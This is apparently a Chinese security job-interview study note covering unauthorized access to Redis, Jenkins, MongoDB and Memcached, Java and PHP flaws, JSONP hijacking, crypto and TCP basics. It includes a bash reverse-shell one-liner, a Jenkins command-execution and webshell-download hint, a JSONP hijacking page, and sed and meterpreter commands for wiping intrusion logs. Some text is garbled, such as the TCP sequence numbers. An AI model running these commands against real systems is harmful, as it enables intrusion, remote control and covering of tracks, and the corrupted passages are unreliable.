Redis 預設情況下,會綁定在 0.0.0.0:6379,這樣将會将 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導緻任意使用者在可以通路目标伺服器的情況下未授權通路 Redis 以及讀取 Redis 的資料。攻擊者在未授權通路 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 伺服器上寫入公鑰,進而可以使用對應私鑰直接登入目标伺服器
利用條件和方法
條件:
a、redis服務以root賬戶運作
b、redis無密碼或弱密碼進行認證
c、redis監聽在0.0.0.0公網上
方法:
a、通過 Redis 的 INFO 指令, 可以檢視伺服器相關的參數和敏感資訊, 為攻擊者的後續滲透做鋪墊
b、上傳SSH公鑰獲得SSH登入權限
c、通過crontab反彈shell
d、slave主從模式利用
修複
密碼驗證
降級運作
限制ip/修改端口
Jenkins未授權通路
攻擊者通過未授權通路進入腳本指令執行界面執行攻擊指令
println "ifconfig -a".execute().text 執行一些系統指令,利用wget下載下傳webshell
MongoDB未授權通路
開啟MongoDB服務時不添加任何參數時,預設是沒有權限驗證的,而且可以遠端通路資料庫,登入的使用者可以通過預設端口無需密碼對資料庫進行增、删、改、查等任意高危操作。
1、為MongoDB添加認證:1)MongoDB啟動時添加–auth參數 2)給MongoDB添加使用者:use admin #使用admin庫 db.addUser(“root”, “123456”) #添加使用者名root密碼123456的使用者 db.auth(“root”,“123456”) #驗證下是否添加成功,傳回1說明成功 2、禁用HTTP和REST端口 MongoDB自身帶有一個HTTP服務和并支援REST接口。在2.6以後這些接口預設是關閉的。mongoDB預設會使用預設端口監聽web服務,一般不需要通過web方式進行遠端管理,建議禁用。修改配置檔案或在啟動的時候選擇–nohttpinterface 參數nohttpinterface=false 3、限制綁定IP 啟動時加入參數 –bind_ip 127.0.0.1 或在/etc/mongodb.conf檔案中添加以下内容:bind_ip = 127.0.0.1
Memcache未授權通路
Memcached是一套常用的key-value緩存系統,由于它本身沒有權限控制子產品,是以對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者通過指令互動可直接讀取Memcached中的敏感資訊。
利用
1、登入機器執行netstat -an |more指令檢視端口監聽情況。回顯0.0.0.0:11211表示在所有網卡進行監聽,存在memcached未授權通路漏洞。
2、telnet 11211,或nc -vv 11211,提示連接配接成功表示漏洞存在
漏洞加強
a、設定memchached隻允許本地通路 b、禁止外網通路Memcached 11211端口 c、編譯時加上–enable-sasl,啟用SASL認證
FFMPEG 本地檔案讀取漏洞
通過調用加密API将payload加密放入一個會被執行的段位元組中。但是具體回答工程中我隻回答道了SSRF老洞,m3u8頭,偏移量,加密。
安全知識
WEB
常用WEB開發JAVA架構
STRUTS,SPRING 常見的java架構漏洞 其實面試官問這個問題的時候我不太清楚他要問什麼,我提到struts的045 048,java常見反序列化。045 錯誤處理引入了ognl表達式 048 封裝action的過程中有一步調用getstackvalue遞歸擷取ognl表達式 反序列化 操作對象,通過手段引入。apache common的反射機制、readobject的重寫,其實具體的我也記不清楚。。。然後這部分就結束了
同源政策
同源政策限制不同源對目前document的屬性内容進行讀取或設定。不同源的區分:協定、域名、子域名、IP、端口,以上有不同時即不同源。
Jsonp安全攻防技術,怎麼寫Jsonp的攻擊頁面?
涉及到Jsonp的安全攻防内容
JSON劫持、Callback可定義、JSONP内容可定義、Content-type不為json。
攻擊頁面
JSON劫持,跨域劫持敏感資訊,頁面類似于
function wooyun(v){alert(v.username);}</script><script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
Content-type不正确情況下,JSONP和Callback内容可定義可造成XSS。JSONP和FLASH及其他的利用參照知道創宇的JSONP安全攻防技術。
PHP
php中指令執行涉及到的函數
1,代碼執行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function()
2,檔案讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等
3,指令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(),popen(),proc_open()
安全模式下繞過php的disable fuction
DL函數,元件漏洞,環境變量。
PHP弱類型
==
在進行比較的時候,會先将字元串類型轉化成相同,再比較
如果比較一個數字和字元串或者比較涉及到數字内容的字元串,則字元串會被轉換成數值并且比較按照數值來進行
0e
開頭的字元串等于0
資料庫
各種資料庫檔案存放的位置
mysql:
/usr/local/mysql/data/ C:\ProgramData\MySQL\MySQL Server 5.6\Data\oracle:$ORACLE_BASE/oradata/$ORACLE_SID/
系統
如何清理日志
meterpreter: clearev
入侵 Linux 伺服器後需要清除哪些日志?
web日志,如apache的access.log,error.log。直接将日志清除過于明顯,一般使用sed進行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history指令的清除,也是對~/.bash_history進行定向清除
wtmp日志的清除,/var/log/wtmp
登入日志清除 /var/log/secure
LINUX
檢視目前端口連接配接的指令有哪些? netstat
和 ss
指令的差別和優缺點
netstat
ss
netstat -antp` `ss -l
ss的優勢在于它能夠顯示更多更詳細的有關TCP和連接配接狀态的資訊,而且比netstat更快速更高效。
反彈 shell 的常用指令?一般常反彈哪一種 shell?為什麼?
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
通過Linux系統的/proc目錄 ,能夠擷取到哪些資訊,這些資訊可以在安全上有哪些應用?
ls /proc
系統資訊,硬體資訊,核心版本,加載的子產品,程序
linux系統中,檢測哪些配置檔案的配置項,能夠提升SSH的安全性。
/etc/ssh/sshd___config
iptables配置
如何一條指令檢視檔案内容最後一百行
tail -n 100 filename
Windows
如何加強一個域環境下的Windows桌面工作環境?請給出你的思路。
密碼學
AES/DES的具體工作步驟
RSA算法
加密:密文=明文^EmodN
RSA加密是對明文的E次方後除以N後求餘數的過程公鑰=(E,N)
解密:明文=密文^DmodN 私鑰=(D,N)
三個參數n,e1,e2
n是兩個大質數p,q的積
分組密碼的加密模式
如何生成一個安全的随機數?
引用之前一個學長的答案,可以通過一些實體系統生成随機數,如電壓的波動、磁盤磁頭讀/寫時的尋道時間、空中電磁波的噪聲等。
SSL握手過程
建立TCP連接配接、用戶端發送SSL請求、服務端處理SSL請求、用戶端發送公共密鑰加密過的随機資料、服務端用私有密鑰解密加密後的随機資料并協商暗号、服務端跟用戶端利用暗号生成加密算法跟密鑰key、之後正常通信。這部分本來是忘了的,但是之前看SSL Pinning的時候好像記了張圖在腦子裡,掙紮半天還是沒敢确定,遂放棄。。。
對稱加密與非對稱加密的不同,分别用在哪些方面
TCP/IP
TCP三向交握的過程以及對應的狀态轉換
(1)用戶端向伺服器端發送一個SYN包,包含用戶端使用的端口号和初始序列号x;
(2)伺服器端收到用戶端發送來的SYN包後,向用戶端發送一個SYN和ACK都置位的TCP封包,包含确認号xx1和伺服器端的初始序列号y;
(3)用戶端收到伺服器端傳回的SYNSACK封包後,向伺服器端傳回一個确認号為yy1、序号為xx1的ACK封包,一個标準的TCP連接配接完成。
TCP和UDP協定差別
tcp面向連接配接,udp面向封包 tcp對系統資源的要求多 udp結構簡單 tcp保證資料完整性和順序,udp不保證
https的建立過程
a、用戶端發送請求到伺服器端
b、伺服器端傳回證書和公開密鑰,公開密鑰作為證書的一部分而存在
c、用戶端驗證證書和公開密鑰的有效性,如果有效,則生成共享密鑰并使用公開密鑰加密發送到伺服器端
d、伺服器端使用私有密鑰解密資料,并使用收到的共享密鑰加密資料,發送到用戶端
e、用戶端使用共享密鑰解密資料
f、SSL加密建立
流量分析
wireshark簡單的過濾規則
過濾ip:
過濾源ip位址:
ip.src==1.1.1.1;
,目的ip位址:
ip.dst==1.1.1.1;
過濾端口:
過濾80端口:
tcp.port==80
,源端口:
tcp.srcport==80
,目的端口:
tcp.dstport==80
協定過濾:
直接輸入協定名即可,如http協定
http
http模式過濾:
過濾get/post包
http.request.mothod=="GET/POST"